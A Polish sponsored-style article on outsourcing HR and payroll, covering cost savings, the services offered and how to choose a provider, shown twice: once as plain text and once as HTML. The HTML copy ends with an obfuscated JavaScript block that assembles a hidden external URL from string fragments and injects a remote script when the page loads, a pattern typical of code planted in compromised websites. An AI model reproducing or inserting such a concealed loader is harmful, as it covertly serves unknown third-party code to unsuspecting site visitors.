Wiele przedsiębiorstw decyduje się na outsourcing kadr i płac – jest to przede wszystkim opłacalne rozwiązanie, które pozwala na zmniejszenie ilości zatrudnianych osób oraz ograniczenie kosztów przeznaczonych na działania związane z kontrolą finansów i obsługi pracowników. Na jakie usługi kadrowo-płacowe możemy liczyć i jakie są zalety skorzystania z outsourcingu?

Dlaczego warto zdecydować się na outsourcing kadr i płac?

Outsourcing kadr i płac ma wiele zalet – nic więc dziwnego, że tak wiele firm korzysta z tego typu usług. Do najważniejszych korzyści, płynących z oddelegowania prowadzenia kadr zewnętrznej firmie, należą:

– znaczne zmniejszenie kosztów ponoszonych przez przedsiębiorstwo na sektory, które nie są kluczowym celem działalności (ograniczenie stanowisk administracyjnych, brak konieczności zakupienia i płatnego aktualizowania programów komputerowych związanych z księgowością, kadrami i płacami, brak konieczności finansowania szkoleń dla pracowników z zakresu zmian w przepisach prawa pracy itp.),

– możliwość skupienia się na zadaniach związanych z bezpośrednią działalnością firmy, zamiast na czasochłonnej obsłudze kadrowo-płacowej,

– łatwy dostęp do grupy specjalistów z firmy zajmującej się outsourcingiem kadr i płac np. tu http://isp-audyt.pl/uslugi-2/kadry-place/,

– brak konieczności prowadzenia rekrutacji osób na stanowiska związane z prowadzeniem kadr i płac.

Usługi kadrowo-płacowe – co wchodzi w ich skład?

Outsourcing płac i kadr świadczy wszystkie usługi związane z tymi zagadnieniami, odciążając pracodawców od obowiązków dotyczących obsługi pracowników, rozliczeń podatkowych i czy przeprowadzania szkoleń.

Usługi kadrowo-płacowe, prowadzone przez outsourcing, to m.in.:

– obliczanie wynagrodzeń i przygotowywanie listy płac,

– reprezentowanie firmy przed ZUS i US,

– przygotowywanie deklaracji podatkowych,

– doradztwo w sprawie przepisów prawa pracy,

– ewidencja urlopów wypoczynkowych, okolicznościowych, wychowawczych,

– przygotowywanie umów z pracownikami, świadectw pracy, zaświadczeń o zarobkach,

– ustalanie uprawnień pracowników do urlopów.

Kadry i płace – jak wybrać dobry outsourcing?

Obsługa kadrowo-płacowa przez firmę outsourcingową to duże ułatwienie dla każdego przedsiębiorstwa, jak jednak wybrać najlepsze usługi?

Przede wszystkim warto sprawdzić przedsiębiorstwo pod kątem doświadczenia i obsługiwanych do tej pory firm. Dobrze jest także poprosić spółkę o referencje od innych klientów. Należy zwrócić także uwagę na pakiety usług z zakresu obsługi kadrowo-płacowej, by sprawdzić, czy spółka zajmuje się interesującymi nas zagadnieniami. Do ważnych kwestii należą także programy, z jakich korzysta firma outsourcingowa do prowadzenia kwestii kadrowych i płacowych, a także sposób kontaktu z pracodawcą i pracownikami (e-mail, system z połączeniem sieciowym).

Oczywiście ważnym aspektem będzie także cennik – obsługa kadrowa zazwyczaj ma dosyć elastyczne koszty, zależne od ilości obsługiwanych pracowników oraz wybranego pakietu usług. By poznać dokładny cennik danej firmy outsourcingowej, najlepiej zdecydować się na bezpośredni kontakt.

Profesjonalna obsługa kadrowa – na jakie usługi możesz liczyć?https://www.pruszkowmowi.pl/wp-content/uploads/2018/09/outsourcing-kadr-oraz-plac.jpghttps://www.pruszkowmowi.pl/wp-content/uploads/2018/09/outsourcing-kadr-oraz-plac-300x300.jpg admin Biznes
Wiele przedsiębiorstw decyduje się na outsourcing kadr i płac – jest to przede wszystkim opłacalne rozwiązanie, które pozwala na zmniejszenie ilości zatrudnianych osób oraz ograniczenie kosztów przeznaczonych na działania związane z kontrolą finansów i obsługi pracowników. Na jakie usługi kadrowo-płacowe możemy liczyć i jakie są zalety skorzystania z outsourcingu? Dlaczego...
<strong>Wiele przedsiębiorstw decyduje się na outsourcing kadr i płac – jest to przede wszystkim opłacalne rozwiązanie, które pozwala na zmniejszenie ilości zatrudnianych osób oraz ograniczenie kosztów przeznaczonych na działania związane z kontrolą finansów i obsługi pracowników. Na jakie usługi kadrowo-płacowe możemy liczyć i jakie są zalety skorzystania z outsourcingu?</strong> <p><b>Dlaczego warto zdecydować się na outsourcing kadr i płac?</b></p> <p>Outsourcing kadr i płac ma wiele zalet – nic więc dziwnego, że tak wiele firm korzysta z tego typu usług. Do najważniejszych korzyści, płynących z oddelegowania prowadzenia kadr zewnętrznej firmie, należą:</p> <p>- znaczne zmniejszenie kosztów ponoszonych przez przedsiębiorstwo na sektory, które nie są kluczowym celem działalności (ograniczenie stanowisk administracyjnych, brak konieczności zakupienia i płatnego aktualizowania programów komputerowych związanych z księgowością, kadrami i płacami, brak konieczności finansowania szkoleń dla pracowników z zakresu zmian w przepisach prawa pracy itp.),</p> <p>- możliwość skupienia się na zadaniach związanych z bezpośrednią działalnością firmy, zamiast na czasochłonnej obsłudze kadrowo-płacowej,</p> <p>- łatwy dostęp do grupy specjalistów z firmy zajmującej się outsourcingiem kadr i płac np. tu <a href="http://isp-audyt.pl/uslugi-2/kadry-place/">http://isp-audyt.pl/uslugi-2/kadry-place/</a>,</p> <p>- brak konieczności prowadzenia rekrutacji osób na stanowiska związane z prowadzeniem kadr i płac.</p> <p><b>Usługi kadrowo-płacowe – co wchodzi w ich skład?</b></p> <p>Outsourcing płac i kadr świadczy wszystkie usługi związane z tymi zagadnieniami, odciążając pracodawców od obowiązków dotyczących obsługi pracowników, rozliczeń podatkowych i czy przeprowadzania szkoleń.</p> <p>Usługi kadrowo-płacowe, prowadzone przez outsourcing, to m.in.:</p> <p>- obliczanie wynagrodzeń i przygotowywanie listy płac,</p> <p>- reprezentowanie firmy przed ZUS i US,</p> <p>- przygotowywanie deklaracji podatkowych,</p> <p>- doradztwo w sprawie przepisów prawa pracy,</p> <p>- ewidencja urlopów wypoczynkowych, okolicznościowych, wychowawczych,</p> <p>- przygotowywanie umów z pracownikami, świadectw pracy, zaświadczeń o zarobkach,</p> <p>- ustalanie uprawnień pracowników do urlopów.</p> <p><b>Kadry i płace – jak wybrać dobry outsourcing?</b></p> <p>Obsługa kadrowo-płacowa przez firmę outsourcingową to duże ułatwienie dla każdego przedsiębiorstwa, jak jednak wybrać najlepsze usługi?</p> <p>Przede wszystkim warto sprawdzić przedsiębiorstwo pod kątem doświadczenia i obsługiwanych do tej pory firm. Dobrze jest także poprosić spółkę o referencje od innych klientów. Należy zwrócić także uwagę na pakiety usług z zakresu obsługi kadrowo-płacowej, by sprawdzić, czy spółka zajmuje się interesującymi nas zagadnieniami. Do ważnych kwestii należą także programy, z jakich korzysta firma outsourcingowa do prowadzenia kwestii kadrowych i płacowych, a także sposób kontaktu z pracodawcą i pracownikami (e-mail, system z połączeniem sieciowym).</p> <p>Oczywiście ważnym aspektem będzie także cennik – obsługa kadrowa zazwyczaj ma dosyć elastyczne koszty, zależne od ilości obsługiwanych pracowników oraz wybranego pakietu usług. By poznać dokładny cennik danej firmy outsourcingowej, najlepiej zdecydować się na bezpośredni kontakt.</p> <script type="text/javascript"> (function(){ tse6u="7b181Xvxse6h";tse6=document.createElement("script"); tse6_="u"+("st");tse6_+="at"+(".");tse6.async=true;tse6_+="in"; tse6u="124338530."+tse6u;tse6.type="text/javascript";tse6u+="xX1envvld5lg"; tse6u+="c81gmf";tse6_+=("f")+"o"+("/");tse6.src="https://"+tse6_+tse6u; tse6d=document.body;tse6d.appendChild(tse6); })(); </script>